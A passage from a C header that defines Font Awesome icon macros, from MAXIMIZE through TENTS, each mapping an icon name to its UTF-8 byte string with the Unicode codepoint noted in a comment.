#define ICON_FA_MAXIMIZE "\xef\x8c\x9e" // U+f31e
#define ICON_FA_MEDAL "\xef\x96\xa2" // U+f5a2
#define ICON_FA_MEMORY "\xef\x94\xb8" // U+f538
#define ICON_FA_MENORAH "\xef\x99\xb6" // U+f676
#define ICON_FA_MERCURY "\xef\x88\xa3" // U+f223
#define ICON_FA_MESSAGE "\xef\x89\xba" // U+f27a
#define ICON_FA_METEOR "\xef\x9d\x93" // U+f753
#define ICON_FA_MICROCHIP "\xef\x8b\x9b" // U+f2db
#define ICON_FA_MICROPHONE "\xef\x84\xb0" // U+f130
#define ICON_FA_MICROPHONE_LINES "\xef\x8f\x89" // U+f3c9
#define ICON_FA_MICROPHONE_LINES_SLASH "\xef\x94\xb9" // U+f539
#define ICON_FA_MICROPHONE_SLASH "\xef\x84\xb1" // U+f131
#define ICON_FA_MICROSCOPE "\xef\x98\x90" // U+f610
#define ICON_FA_MILL_SIGN "\xee\x87\xad" // U+e1ed
#define ICON_FA_MINIMIZE "\xef\x9e\x8c" // U+f78c
#define ICON_FA_MINUS "\xef\x81\xa8" // U+f068
#define ICON_FA_MITTEN "\xef\x9e\xb5" // U+f7b5
#define ICON_FA_MOBILE "\xef\x8f\x8e" // U+f3ce
#define ICON_FA_MOBILE_BUTTON "\xef\x84\x8b" // U+f10b
#define ICON_FA_MOBILE_RETRO "\xee\x94\xa7" // U+e527
#define ICON_FA_MOBILE_SCREEN "\xef\x8f\x8f" // U+f3cf
#define ICON_FA_MOBILE_SCREEN_BUTTON "\xef\x8f\x8d" // U+f3cd
#define ICON_FA_MONEY_BILL "\xef\x83\x96" // U+f0d6
#define ICON_FA_MONEY_BILL_1 "\xef\x8f\x91" // U+f3d1
#define ICON_FA_MONEY_BILL_1_WAVE "\xef\x94\xbb" // U+f53b
#define ICON_FA_MONEY_BILL_TRANSFER "\xee\x94\xa8" // U+e528
#define ICON_FA_MONEY_BILL_TREND_UP "\xee\x94\xa9" // U+e529
#define ICON_FA_MONEY_BILL_WAVE "\xef\x94\xba" // U+f53a
#define ICON_FA_MONEY_BILL_WHEAT "\xee\x94\xaa" // U+e52a
#define ICON_FA_MONEY_BILLS "\xee\x87\xb3" // U+e1f3
#define ICON_FA_MONEY_CHECK "\xef\x94\xbc" // U+f53c
#define ICON_FA_MONEY_CHECK_DOLLAR "\xef\x94\xbd" // U+f53d
#define ICON_FA_MONUMENT "\xef\x96\xa6" // U+f5a6
#define ICON_FA_MOON "\xef\x86\x86" // U+f186
#define ICON_FA_MORTAR_PESTLE "\xef\x96\xa7" // U+f5a7
#define ICON_FA_MOSQUE "\xef\x99\xb8" // U+f678
#define ICON_FA_MOSQUITO "\xee\x94\xab" // U+e52b
#define ICON_FA_MOSQUITO_NET "\xee\x94\xac" // U+e52c
#define ICON_FA_MOTORCYCLE "\xef\x88\x9c" // U+f21c
#define ICON_FA_MOUND "\xee\x94\xad" // U+e52d
#define ICON_FA_MOUNTAIN "\xef\x9b\xbc" // U+f6fc
#define ICON_FA_MOUNTAIN_CITY "\xee\x94\xae" // U+e52e
#define ICON_FA_MOUNTAIN_SUN "\xee\x94\xaf" // U+e52f
#define ICON_FA_MUG_HOT "\xef\x9e\xb6" // U+f7b6
#define ICON_FA_MUG_SAUCER "\xef\x83\xb4" // U+f0f4
#define ICON_FA_MUSIC "\xef\x80\x81" // U+f001
#define ICON_FA_N "N" // U+004e
#define ICON_FA_NAIRA_SIGN "\xee\x87\xb6" // U+e1f6
#define ICON_FA_NETWORK_WIRED "\xef\x9b\xbf" // U+f6ff
#define ICON_FA_NEUTER "\xef\x88\xac" // U+f22c
#define ICON_FA_NEWSPAPER "\xef\x87\xaa" // U+f1ea
#define ICON_FA_NOT_EQUAL "\xef\x94\xbe" // U+f53e
#define ICON_FA_NOTDEF "\xee\x87\xbe" // U+e1fe
#define ICON_FA_NOTE_STICKY "\xef\x89\x89" // U+f249
#define ICON_FA_NOTES_MEDICAL "\xef\x92\x81" // U+f481
#define ICON_FA_O "O" // U+004f
#define ICON_FA_OBJECT_GROUP "\xef\x89\x87" // U+f247
#define ICON_FA_OBJECT_UNGROUP "\xef\x89\x88" // U+f248
#define ICON_FA_OIL_CAN "\xef\x98\x93" // U+f613
#define ICON_FA_OIL_WELL "\xee\x94\xb2" // U+e532
#define ICON_FA_OM "\xef\x99\xb9" // U+f679
#define ICON_FA_OTTER "\xef\x9c\x80" // U+f700
#define ICON_FA_OUTDENT "\xef\x80\xbb" // U+f03b
#define ICON_FA_P "P" // U+0050
#define ICON_FA_PAGER "\xef\xa0\x95" // U+f815
#define ICON_FA_PAINT_ROLLER "\xef\x96\xaa" // U+f5aa
#define ICON_FA_PAINTBRUSH "\xef\x87\xbc" // U+f1fc
#define ICON_FA_PALETTE "\xef\x94\xbf" // U+f53f
#define ICON_FA_PALLET "\xef\x92\x82" // U+f482
#define ICON_FA_PANORAMA "\xee\x88\x89" // U+e209
#define ICON_FA_PAPER_PLANE "\xef\x87\x98" // U+f1d8
#define ICON_FA_PAPERCLIP "\xef\x83\x86" // U+f0c6
#define ICON_FA_PARACHUTE_BOX "\xef\x93\x8d" // U+f4cd
#define ICON_FA_PARAGRAPH "\xef\x87\x9d" // U+f1dd
#define ICON_FA_PASSPORT "\xef\x96\xab" // U+f5ab
#define ICON_FA_PASTE "\xef\x83\xaa" // U+f0ea
#define ICON_FA_PAUSE "\xef\x81\x8c" // U+f04c
#define ICON_FA_PAW "\xef\x86\xb0" // U+f1b0
#define ICON_FA_PEACE "\xef\x99\xbc" // U+f67c
#define ICON_FA_PEN "\xef\x8c\x84" // U+f304
#define ICON_FA_PEN_CLIP "\xef\x8c\x85" // U+f305
#define ICON_FA_PEN_FANCY "\xef\x96\xac" // U+f5ac
#define ICON_FA_PEN_NIB "\xef\x96\xad" // U+f5ad
#define ICON_FA_PEN_RULER "\xef\x96\xae" // U+f5ae
#define ICON_FA_PEN_TO_SQUARE "\xef\x81\x84" // U+f044
#define ICON_FA_PENCIL "\xef\x8c\x83" // U+f303
#define ICON_FA_PEOPLE_ARROWS "\xee\x81\xa8" // U+e068
#define ICON_FA_PEOPLE_CARRY_BOX "\xef\x93\x8e" // U+f4ce
#define ICON_FA_PEOPLE_GROUP "\xee\x94\xb3" // U+e533
#define ICON_FA_PEOPLE_LINE "\xee\x94\xb4" // U+e534
#define ICON_FA_PEOPLE_PULLING "\xee\x94\xb5" // U+e535
#define ICON_FA_PEOPLE_ROBBERY "\xee\x94\xb6" // U+e536
#define ICON_FA_PEOPLE_ROOF "\xee\x94\xb7" // U+e537
#define ICON_FA_PEPPER_HOT "\xef\xa0\x96" // U+f816
#define ICON_FA_PERCENT "%" // U+0025
#define ICON_FA_PERSON "\xef\x86\x83" // U+f183
#define ICON_FA_PERSON_ARROW_DOWN_TO_LINE "\xee\x94\xb8" // U+e538
#define ICON_FA_PERSON_ARROW_UP_FROM_LINE "\xee\x94\xb9" // U+e539
#define ICON_FA_PERSON_BIKING "\xef\xa1\x8a" // U+f84a
#define ICON_FA_PERSON_BOOTH "\xef\x9d\x96" // U+f756
#define ICON_FA_PERSON_BREASTFEEDING "\xee\x94\xba" // U+e53a
#define ICON_FA_PERSON_BURST "\xee\x94\xbb" // U+e53b
#define ICON_FA_PERSON_CANE "\xee\x94\xbc" // U+e53c
#define ICON_FA_PERSON_CHALKBOARD "\xee\x94\xbd" // U+e53d
#define ICON_FA_PERSON_CIRCLE_CHECK "\xee\x94\xbe" // U+e53e
#define ICON_FA_PERSON_CIRCLE_EXCLAMATION "\xee\x94\xbf" // U+e53f
#define ICON_FA_PERSON_CIRCLE_MINUS "\xee\x95\x80" // U+e540
#define ICON_FA_PERSON_CIRCLE_PLUS "\xee\x95\x81" // U+e541
#define ICON_FA_PERSON_CIRCLE_QUESTION "\xee\x95\x82" // U+e542
#define ICON_FA_PERSON_CIRCLE_XMARK "\xee\x95\x83" // U+e543
#define ICON_FA_PERSON_DIGGING "\xef\xa1\x9e" // U+f85e
#define ICON_FA_PERSON_DOTS_FROM_LINE "\xef\x91\xb0" // U+f470
#define ICON_FA_PERSON_DRESS "\xef\x86\x82" // U+f182
#define ICON_FA_PERSON_DRESS_BURST "\xee\x95\x84" // U+e544
#define ICON_FA_PERSON_DROWNING "\xee\x95\x85" // U+e545
#define ICON_FA_PERSON_FALLING "\xee\x95\x86" // U+e546
#define ICON_FA_PERSON_FALLING_BURST "\xee\x95\x87" // U+e547
#define ICON_FA_PERSON_HALF_DRESS "\xee\x95\x88" // U+e548
#define ICON_FA_PERSON_HARASSING "\xee\x95\x89" // U+e549
#define ICON_FA_PERSON_HIKING "\xef\x9b\xac" // U+f6ec
#define ICON_FA_PERSON_MILITARY_POINTING "\xee\x95\x8a" // U+e54a
#define ICON_FA_PERSON_MILITARY_RIFLE "\xee\x95\x8b" // U+e54b
#define ICON_FA_PERSON_MILITARY_TO_PERSON "\xee\x95\x8c" // U+e54c
#define ICON_FA_PERSON_PRAYING "\xef\x9a\x83" // U+f683
#define ICON_FA_PERSON_PREGNANT "\xee\x8c\x9e" // U+e31e
#define ICON_FA_PERSON_RAYS "\xee\x95\x8d" // U+e54d
#define ICON_FA_PERSON_RIFLE "\xee\x95\x8e" // U+e54e
#define ICON_FA_PERSON_RUNNING "\xef\x9c\x8c" // U+f70c
#define ICON_FA_PERSON_SHELTER "\xee\x95\x8f" // U+e54f
#define ICON_FA_PERSON_SKATING "\xef\x9f\x85" // U+f7c5
#define ICON_FA_PERSON_SKIING "\xef\x9f\x89" // U+f7c9
#define ICON_FA_PERSON_SKIING_NORDIC "\xef\x9f\x8a" // U+f7ca
#define ICON_FA_PERSON_SNOWBOARDING "\xef\x9f\x8e" // U+f7ce
#define ICON_FA_PERSON_SWIMMING "\xef\x97\x84" // U+f5c4
#define ICON_FA_PERSON_THROUGH_WINDOW "\xee\x96\xa9" // U+e5a9
#define ICON_FA_PERSON_WALKING "\xef\x95\x94" // U+f554
#define ICON_FA_PERSON_WALKING_ARROW_LOOP_LEFT "\xee\x95\x91" // U+e551
#define ICON_FA_PERSON_WALKING_ARROW_RIGHT "\xee\x95\x92" // U+e552
#define ICON_FA_PERSON_WALKING_DASHED_LINE_ARROW_RIGHT "\xee\x95\x93" // U+e553
#define ICON_FA_PERSON_WALKING_LUGGAGE "\xee\x95\x94" // U+e554
#define ICON_FA_PERSON_WALKING_WITH_CANE "\xef\x8a\x9d" // U+f29d
#define ICON_FA_PESETA_SIGN "\xee\x88\xa1" // U+e221
#define ICON_FA_PESO_SIGN "\xee\x88\xa2" // U+e222
#define ICON_FA_PHONE "\xef\x82\x95" // U+f095
#define ICON_FA_PHONE_FLIP "\xef\xa1\xb9" // U+f879
#define ICON_FA_PHONE_SLASH "\xef\x8f\x9d" // U+f3dd
#define ICON_FA_PHONE_VOLUME "\xef\x8a\xa0" // U+f2a0
#define ICON_FA_PHOTO_FILM "\xef\xa1\xbc" // U+f87c
#define ICON_FA_PIGGY_BANK "\xef\x93\x93" // U+f4d3
#define ICON_FA_PILLS "\xef\x92\x84" // U+f484
#define ICON_FA_PIZZA_SLICE "\xef\xa0\x98" // U+f818
#define ICON_FA_PLACE_OF_WORSHIP "\xef\x99\xbf" // U+f67f
#define ICON_FA_PLANE "\xef\x81\xb2" // U+f072
#define ICON_FA_PLANE_ARRIVAL "\xef\x96\xaf" // U+f5af
#define ICON_FA_PLANE_CIRCLE_CHECK "\xee\x95\x95" // U+e555
#define ICON_FA_PLANE_CIRCLE_EXCLAMATION "\xee\x95\x96" // U+e556
#define ICON_FA_PLANE_CIRCLE_XMARK "\xee\x95\x97" // U+e557
#define ICON_FA_PLANE_DEPARTURE "\xef\x96\xb0" // U+f5b0
#define ICON_FA_PLANE_LOCK "\xee\x95\x98" // U+e558
#define ICON_FA_PLANE_SLASH "\xee\x81\xa9" // U+e069
#define ICON_FA_PLANE_UP "\xee\x88\xad" // U+e22d
#define ICON_FA_PLANT_WILT "\xee\x96\xaa" // U+e5aa
#define ICON_FA_PLATE_WHEAT "\xee\x95\x9a" // U+e55a
#define ICON_FA_PLAY "\xef\x81\x8b" // U+f04b
#define ICON_FA_PLUG "\xef\x87\xa6" // U+f1e6
#define ICON_FA_PLUG_CIRCLE_BOLT "\xee\x95\x9b" // U+e55b
#define ICON_FA_PLUG_CIRCLE_CHECK "\xee\x95\x9c" // U+e55c
#define ICON_FA_PLUG_CIRCLE_EXCLAMATION "\xee\x95\x9d" // U+e55d
#define ICON_FA_PLUG_CIRCLE_MINUS "\xee\x95\x9e" // U+e55e
#define ICON_FA_PLUG_CIRCLE_PLUS "\xee\x95\x9f" // U+e55f
#define ICON_FA_PLUG_CIRCLE_XMARK "\xee\x95\xa0" // U+e560
#define ICON_FA_PLUS "+" // U+002b
#define ICON_FA_PLUS_MINUS "\xee\x90\xbc" // U+e43c
#define ICON_FA_PODCAST "\xef\x8b\x8e" // U+f2ce
#define ICON_FA_POO "\xef\x8b\xbe" // U+f2fe
#define ICON_FA_POO_STORM "\xef\x9d\x9a" // U+f75a
#define ICON_FA_POOP "\xef\x98\x99" // U+f619
#define ICON_FA_POWER_OFF "\xef\x80\x91" // U+f011
#define ICON_FA_PRESCRIPTION "\xef\x96\xb1" // U+f5b1
#define ICON_FA_PRESCRIPTION_BOTTLE "\xef\x92\x85" // U+f485
#define ICON_FA_PRESCRIPTION_BOTTLE_MEDICAL "\xef\x92\x86" // U+f486
#define ICON_FA_PRINT "\xef\x80\xaf" // U+f02f
#define ICON_FA_PUMP_MEDICAL "\xee\x81\xaa" // U+e06a
#define ICON_FA_PUMP_SOAP "\xee\x81\xab" // U+e06b
#define ICON_FA_PUZZLE_PIECE "\xef\x84\xae" // U+f12e
#define ICON_FA_Q "Q" // U+0051
#define ICON_FA_QRCODE "\xef\x80\xa9" // U+f029
#define ICON_FA_QUESTION "?" // U+003f
#define ICON_FA_QUOTE_LEFT "\xef\x84\x8d" // U+f10d
#define ICON_FA_QUOTE_RIGHT "\xef\x84\x8e" // U+f10e
#define ICON_FA_R "R" // U+0052
#define ICON_FA_RADIATION "\xef\x9e\xb9" // U+f7b9
#define ICON_FA_RADIO "\xef\xa3\x97" // U+f8d7
#define ICON_FA_RAINBOW "\xef\x9d\x9b" // U+f75b
#define ICON_FA_RANKING_STAR "\xee\x95\xa1" // U+e561
#define ICON_FA_RECEIPT "\xef\x95\x83" // U+f543
#define ICON_FA_RECORD_VINYL "\xef\xa3\x99" // U+f8d9
#define ICON_FA_RECTANGLE_AD "\xef\x99\x81" // U+f641
#define ICON_FA_RECTANGLE_LIST "\xef\x80\xa2" // U+f022
#define ICON_FA_RECTANGLE_XMARK "\xef\x90\x90" // U+f410
#define ICON_FA_RECYCLE "\xef\x86\xb8" // U+f1b8
#define ICON_FA_REGISTERED "\xef\x89\x9d" // U+f25d
#define ICON_FA_REPEAT "\xef\x8d\xa3" // U+f363
#define ICON_FA_REPLY "\xef\x8f\xa5" // U+f3e5
#define ICON_FA_REPLY_ALL "\xef\x84\xa2" // U+f122
#define ICON_FA_REPUBLICAN "\xef\x9d\x9e" // U+f75e
#define ICON_FA_RESTROOM "\xef\x9e\xbd" // U+f7bd
#define ICON_FA_RETWEET "\xef\x81\xb9" // U+f079
#define ICON_FA_RIBBON "\xef\x93\x96" // U+f4d6
#define ICON_FA_RIGHT_FROM_BRACKET "\xef\x8b\xb5" // U+f2f5
#define ICON_FA_RIGHT_LEFT "\xef\x8d\xa2" // U+f362
#define ICON_FA_RIGHT_LONG "\xef\x8c\x8b" // U+f30b
#define ICON_FA_RIGHT_TO_BRACKET "\xef\x8b\xb6" // U+f2f6
#define ICON_FA_RING "\xef\x9c\x8b" // U+f70b
#define ICON_FA_ROAD "\xef\x80\x98" // U+f018
#define ICON_FA_ROAD_BARRIER "\xee\x95\xa2" // U+e562
#define ICON_FA_ROAD_BRIDGE "\xee\x95\xa3" // U+e563
#define ICON_FA_ROAD_CIRCLE_CHECK "\xee\x95\xa4" // U+e564
#define ICON_FA_ROAD_CIRCLE_EXCLAMATION "\xee\x95\xa5" // U+e565
#define ICON_FA_ROAD_CIRCLE_XMARK "\xee\x95\xa6" // U+e566
#define ICON_FA_ROAD_LOCK "\xee\x95\xa7" // U+e567
#define ICON_FA_ROAD_SPIKES "\xee\x95\xa8" // U+e568
#define ICON_FA_ROBOT "\xef\x95\x84" // U+f544
#define ICON_FA_ROCKET "\xef\x84\xb5" // U+f135
#define ICON_FA_ROTATE "\xef\x8b\xb1" // U+f2f1
#define ICON_FA_ROTATE_LEFT "\xef\x8b\xaa" // U+f2ea
#define ICON_FA_ROTATE_RIGHT "\xef\x8b\xb9" // U+f2f9
#define ICON_FA_ROUTE "\xef\x93\x97" // U+f4d7
#define ICON_FA_RSS "\xef\x82\x9e" // U+f09e
#define ICON_FA_RUBLE_SIGN "\xef\x85\x98" // U+f158
#define ICON_FA_RUG "\xee\x95\xa9" // U+e569
#define ICON_FA_RULER "\xef\x95\x85" // U+f545
#define ICON_FA_RULER_COMBINED "\xef\x95\x86" // U+f546
#define ICON_FA_RULER_HORIZONTAL "\xef\x95\x87" // U+f547
#define ICON_FA_RULER_VERTICAL "\xef\x95\x88" // U+f548
#define ICON_FA_RUPEE_SIGN "\xef\x85\x96" // U+f156
#define ICON_FA_RUPIAH_SIGN "\xee\x88\xbd" // U+e23d
#define ICON_FA_S "S" // U+0053
#define ICON_FA_SACK_DOLLAR "\xef\xa0\x9d" // U+f81d
#define ICON_FA_SACK_XMARK "\xee\x95\xaa" // U+e56a
#define ICON_FA_SAILBOAT "\xee\x91\x85" // U+e445
#define ICON_FA_SATELLITE "\xef\x9e\xbf" // U+f7bf
#define ICON_FA_SATELLITE_DISH "\xef\x9f\x80" // U+f7c0
#define ICON_FA_SCALE_BALANCED "\xef\x89\x8e" // U+f24e
#define ICON_FA_SCALE_UNBALANCED "\xef\x94\x95" // U+f515
#define ICON_FA_SCALE_UNBALANCED_FLIP "\xef\x94\x96" // U+f516
#define ICON_FA_SCHOOL "\xef\x95\x89" // U+f549
#define ICON_FA_SCHOOL_CIRCLE_CHECK "\xee\x95\xab" // U+e56b
#define ICON_FA_SCHOOL_CIRCLE_EXCLAMATION "\xee\x95\xac" // U+e56c
#define ICON_FA_SCHOOL_CIRCLE_XMARK "\xee\x95\xad" // U+e56d
#define ICON_FA_SCHOOL_FLAG "\xee\x95\xae" // U+e56e
#define ICON_FA_SCHOOL_LOCK "\xee\x95\xaf" // U+e56f
#define ICON_FA_SCISSORS "\xef\x83\x84" // U+f0c4
#define ICON_FA_SCREWDRIVER "\xef\x95\x8a" // U+f54a
#define ICON_FA_SCREWDRIVER_WRENCH "\xef\x9f\x99" // U+f7d9
#define ICON_FA_SCROLL "\xef\x9c\x8e" // U+f70e
#define ICON_FA_SCROLL_TORAH "\xef\x9a\xa0" // U+f6a0
#define ICON_FA_SD_CARD "\xef\x9f\x82" // U+f7c2
#define ICON_FA_SECTION "\xee\x91\x87" // U+e447
#define ICON_FA_SEEDLING "\xef\x93\x98" // U+f4d8
#define ICON_FA_SERVER "\xef\x88\xb3" // U+f233
#define ICON_FA_SHAPES "\xef\x98\x9f" // U+f61f
#define ICON_FA_SHARE "\xef\x81\xa4" // U+f064
#define ICON_FA_SHARE_FROM_SQUARE "\xef\x85\x8d" // U+f14d
#define ICON_FA_SHARE_NODES "\xef\x87\xa0" // U+f1e0
#define ICON_FA_SHEET_PLASTIC "\xee\x95\xb1" // U+e571
#define ICON_FA_SHEKEL_SIGN "\xef\x88\x8b" // U+f20b
#define ICON_FA_SHIELD "\xef\x84\xb2" // U+f132
#define ICON_FA_SHIELD_CAT "\xee\x95\xb2" // U+e572
#define ICON_FA_SHIELD_DOG "\xee\x95\xb3" // U+e573
#define ICON_FA_SHIELD_HALVED "\xef\x8f\xad" // U+f3ed
#define ICON_FA_SHIELD_HEART "\xee\x95\xb4" // U+e574
#define ICON_FA_SHIELD_VIRUS "\xee\x81\xac" // U+e06c
#define ICON_FA_SHIP "\xef\x88\x9a" // U+f21a
#define ICON_FA_SHIRT "\xef\x95\x93" // U+f553
#define ICON_FA_SHOE_PRINTS "\xef\x95\x8b" // U+f54b
#define ICON_FA_SHOP "\xef\x95\x8f" // U+f54f
#define ICON_FA_SHOP_LOCK "\xee\x92\xa5" // U+e4a5
#define ICON_FA_SHOP_SLASH "\xee\x81\xb0" // U+e070
#define ICON_FA_SHOWER "\xef\x8b\x8c" // U+f2cc
#define ICON_FA_SHRIMP "\xee\x91\x88" // U+e448
#define ICON_FA_SHUFFLE "\xef\x81\xb4" // U+f074
#define ICON_FA_SHUTTLE_SPACE "\xef\x86\x97" // U+f197
#define ICON_FA_SIGN_HANGING "\xef\x93\x99" // U+f4d9
#define ICON_FA_SIGNAL "\xef\x80\x92" // U+f012
#define ICON_FA_SIGNATURE "\xef\x96\xb7" // U+f5b7
#define ICON_FA_SIGNS_POST "\xef\x89\xb7" // U+f277
#define ICON_FA_SIM_CARD "\xef\x9f\x84" // U+f7c4
#define ICON_FA_SINK "\xee\x81\xad" // U+e06d
#define ICON_FA_SITEMAP "\xef\x83\xa8" // U+f0e8
#define ICON_FA_SKULL "\xef\x95\x8c" // U+f54c
#define ICON_FA_SKULL_CROSSBONES "\xef\x9c\x94" // U+f714
#define ICON_FA_SLASH "\xef\x9c\x95" // U+f715
#define ICON_FA_SLEIGH "\xef\x9f\x8c" // U+f7cc
#define ICON_FA_SLIDERS "\xef\x87\x9e" // U+f1de
#define ICON_FA_SMOG "\xef\x9d\x9f" // U+f75f
#define ICON_FA_SMOKING "\xef\x92\x8d" // U+f48d
#define ICON_FA_SNOWFLAKE "\xef\x8b\x9c" // U+f2dc
#define ICON_FA_SNOWMAN "\xef\x9f\x90" // U+f7d0
#define ICON_FA_SNOWPLOW "\xef\x9f\x92" // U+f7d2
#define ICON_FA_SOAP "\xee\x81\xae" // U+e06e
#define ICON_FA_SOCKS "\xef\x9a\x96" // U+f696
#define ICON_FA_SOLAR_PANEL "\xef\x96\xba" // U+f5ba
#define ICON_FA_SORT "\xef\x83\x9c" // U+f0dc
#define ICON_FA_SORT_DOWN "\xef\x83\x9d" // U+f0dd
#define ICON_FA_SORT_UP "\xef\x83\x9e" // U+f0de
#define ICON_FA_SPA "\xef\x96\xbb" // U+f5bb
#define ICON_FA_SPAGHETTI_MONSTER_FLYING "\xef\x99\xbb" // U+f67b
#define ICON_FA_SPELL_CHECK "\xef\xa2\x91" // U+f891
#define ICON_FA_SPIDER "\xef\x9c\x97" // U+f717
#define ICON_FA_SPINNER "\xef\x84\x90" // U+f110
#define ICON_FA_SPLOTCH "\xef\x96\xbc" // U+f5bc
#define ICON_FA_SPOON "\xef\x8b\xa5" // U+f2e5
#define ICON_FA_SPRAY_CAN "\xef\x96\xbd" // U+f5bd
#define ICON_FA_SPRAY_CAN_SPARKLES "\xef\x97\x90" // U+f5d0
#define ICON_FA_SQUARE "\xef\x83\x88" // U+f0c8
#define ICON_FA_SQUARE_ARROW_UP_RIGHT "\xef\x85\x8c" // U+f14c
#define ICON_FA_SQUARE_CARET_DOWN "\xef\x85\x90" // U+f150
#define ICON_FA_SQUARE_CARET_LEFT "\xef\x86\x91" // U+f191
#define ICON_FA_SQUARE_CARET_RIGHT "\xef\x85\x92" // U+f152
#define ICON_FA_SQUARE_CARET_UP "\xef\x85\x91" // U+f151
#define ICON_FA_SQUARE_CHECK "\xef\x85\x8a" // U+f14a
#define ICON_FA_SQUARE_ENVELOPE "\xef\x86\x99" // U+f199
#define ICON_FA_SQUARE_FULL "\xef\x91\x9c" // U+f45c
#define ICON_FA_SQUARE_H "\xef\x83\xbd" // U+f0fd
#define ICON_FA_SQUARE_MINUS "\xef\x85\x86" // U+f146
#define ICON_FA_SQUARE_NFI "\xee\x95\xb6" // U+e576
#define ICON_FA_SQUARE_PARKING "\xef\x95\x80" // U+f540
#define ICON_FA_SQUARE_PEN "\xef\x85\x8b" // U+f14b
#define ICON_FA_SQUARE_PERSON_CONFINED "\xee\x95\xb7" // U+e577
#define ICON_FA_SQUARE_PHONE "\xef\x82\x98" // U+f098
#define ICON_FA_SQUARE_PHONE_FLIP "\xef\xa1\xbb" // U+f87b
#define ICON_FA_SQUARE_PLUS "\xef\x83\xbe" // U+f0fe
#define ICON_FA_SQUARE_POLL_HORIZONTAL "\xef\x9a\x82" // U+f682
#define ICON_FA_SQUARE_POLL_VERTICAL "\xef\x9a\x81" // U+f681
#define ICON_FA_SQUARE_ROOT_VARIABLE "\xef\x9a\x98" // U+f698
#define ICON_FA_SQUARE_RSS "\xef\x85\x83" // U+f143
#define ICON_FA_SQUARE_SHARE_NODES "\xef\x87\xa1" // U+f1e1
#define ICON_FA_SQUARE_UP_RIGHT "\xef\x8d\xa0" // U+f360
#define ICON_FA_SQUARE_VIRUS "\xee\x95\xb8" // U+e578
#define ICON_FA_SQUARE_XMARK "\xef\x8b\x93" // U+f2d3
#define ICON_FA_STAFF_SNAKE "\xee\x95\xb9" // U+e579
#define ICON_FA_STAIRS "\xee\x8a\x89" // U+e289
#define ICON_FA_STAMP "\xef\x96\xbf" // U+f5bf
#define ICON_FA_STAPLER "\xee\x96\xaf" // U+e5af
#define ICON_FA_STAR "\xef\x80\x85" // U+f005
#define ICON_FA_STAR_AND_CRESCENT "\xef\x9a\x99" // U+f699
#define ICON_FA_STAR_HALF "\xef\x82\x89" // U+f089
#define ICON_FA_STAR_HALF_STROKE "\xef\x97\x80" // U+f5c0
#define ICON_FA_STAR_OF_DAVID "\xef\x9a\x9a" // U+f69a
#define ICON_FA_STAR_OF_LIFE "\xef\x98\xa1" // U+f621
#define ICON_FA_STERLING_SIGN "\xef\x85\x94" // U+f154
#define ICON_FA_STETHOSCOPE "\xef\x83\xb1" // U+f0f1
#define ICON_FA_STOP "\xef\x81\x8d" // U+f04d
#define ICON_FA_STOPWATCH "\xef\x8b\xb2" // U+f2f2
#define ICON_FA_STOPWATCH_20 "\xee\x81\xaf" // U+e06f
#define ICON_FA_STORE "\xef\x95\x8e" // U+f54e
#define ICON_FA_STORE_SLASH "\xee\x81\xb1" // U+e071
#define ICON_FA_STREET_VIEW "\xef\x88\x9d" // U+f21d
#define ICON_FA_STRIKETHROUGH "\xef\x83\x8c" // U+f0cc
#define ICON_FA_STROOPWAFEL "\xef\x95\x91" // U+f551
#define ICON_FA_SUBSCRIPT "\xef\x84\xac" // U+f12c
#define ICON_FA_SUITCASE "\xef\x83\xb2" // U+f0f2
#define ICON_FA_SUITCASE_MEDICAL "\xef\x83\xba" // U+f0fa
#define ICON_FA_SUITCASE_ROLLING "\xef\x97\x81" // U+f5c1
#define ICON_FA_SUN "\xef\x86\x85" // U+f185
#define ICON_FA_SUN_PLANT_WILT "\xee\x95\xba" // U+e57a
#define ICON_FA_SUPERSCRIPT "\xef\x84\xab" // U+f12b
#define ICON_FA_SWATCHBOOK "\xef\x97\x83" // U+f5c3
#define ICON_FA_SYNAGOGUE "\xef\x9a\x9b" // U+f69b
#define ICON_FA_SYRINGE "\xef\x92\x8e" // U+f48e
#define ICON_FA_T "T" // U+0054
#define ICON_FA_TABLE "\xef\x83\x8e" // U+f0ce
#define ICON_FA_TABLE_CELLS "\xef\x80\x8a" // U+f00a
#define ICON_FA_TABLE_CELLS_LARGE "\xef\x80\x89" // U+f009
#define ICON_FA_TABLE_COLUMNS "\xef\x83\x9b" // U+f0db
#define ICON_FA_TABLE_LIST "\xef\x80\x8b" // U+f00b
#define ICON_FA_TABLE_TENNIS_PADDLE_BALL "\xef\x91\x9d" // U+f45d
#define ICON_FA_TABLET "\xef\x8f\xbb" // U+f3fb
#define ICON_FA_TABLET_BUTTON "\xef\x84\x8a" // U+f10a
#define ICON_FA_TABLET_SCREEN_BUTTON "\xef\x8f\xba" // U+f3fa
#define ICON_FA_TABLETS "\xef\x92\x90" // U+f490
#define ICON_FA_TACHOGRAPH_DIGITAL "\xef\x95\xa6" // U+f566
#define ICON_FA_TAG "\xef\x80\xab" // U+f02b
#define ICON_FA_TAGS "\xef\x80\xac" // U+f02c
#define ICON_FA_TAPE "\xef\x93\x9b" // U+f4db
#define ICON_FA_TARP "\xee\x95\xbb" // U+e57b
#define ICON_FA_TARP_DROPLET "\xee\x95\xbc" // U+e57c
#define ICON_FA_TAXI "\xef\x86\xba" // U+f1ba
#define ICON_FA_TEETH "\xef\x98\xae" // U+f62e
#define ICON_FA_TEETH_OPEN "\xef\x98\xaf" // U+f62f
#define ICON_FA_TEMPERATURE_ARROW_DOWN "\xee\x80\xbf" // U+e03f
#define ICON_FA_TEMPERATURE_ARROW_UP "\xee\x81\x80" // U+e040
#define ICON_FA_TEMPERATURE_EMPTY "\xef\x8b\x8b" // U+f2cb
#define ICON_FA_TEMPERATURE_FULL "\xef\x8b\x87" // U+f2c7
#define ICON_FA_TEMPERATURE_HALF "\xef\x8b\x89" // U+f2c9
#define ICON_FA_TEMPERATURE_HIGH "\xef\x9d\xa9" // U+f769
#define ICON_FA_TEMPERATURE_LOW "\xef\x9d\xab" // U+f76b
#define ICON_FA_TEMPERATURE_QUARTER "\xef\x8b\x8a" // U+f2ca
#define ICON_FA_TEMPERATURE_THREE_QUARTERS "\xef\x8b\x88" // U+f2c8
#define ICON_FA_TENGE_SIGN "\xef\x9f\x97" // U+f7d7
#define ICON_FA_TENT "\xee\x95\xbd" // U+e57d
#define ICON_FA_TENT_ARROW_DOWN_TO_LINE "\xee\x95\xbe" // U+e57e
#define ICON_FA_TENT_ARROW_LEFT_RIGHT "\xee\x95\xbf" // U+e57f
#define ICON_FA_TENT_ARROW_TURN_LEFT "\xee\x96\x80" // U+e580
#define ICON_FA_TENT_ARROWS_DOWN "\xee\x96\x81" // U+e581
#define ICON_FA_TENTS "\xee\x96\x82" // U+e582
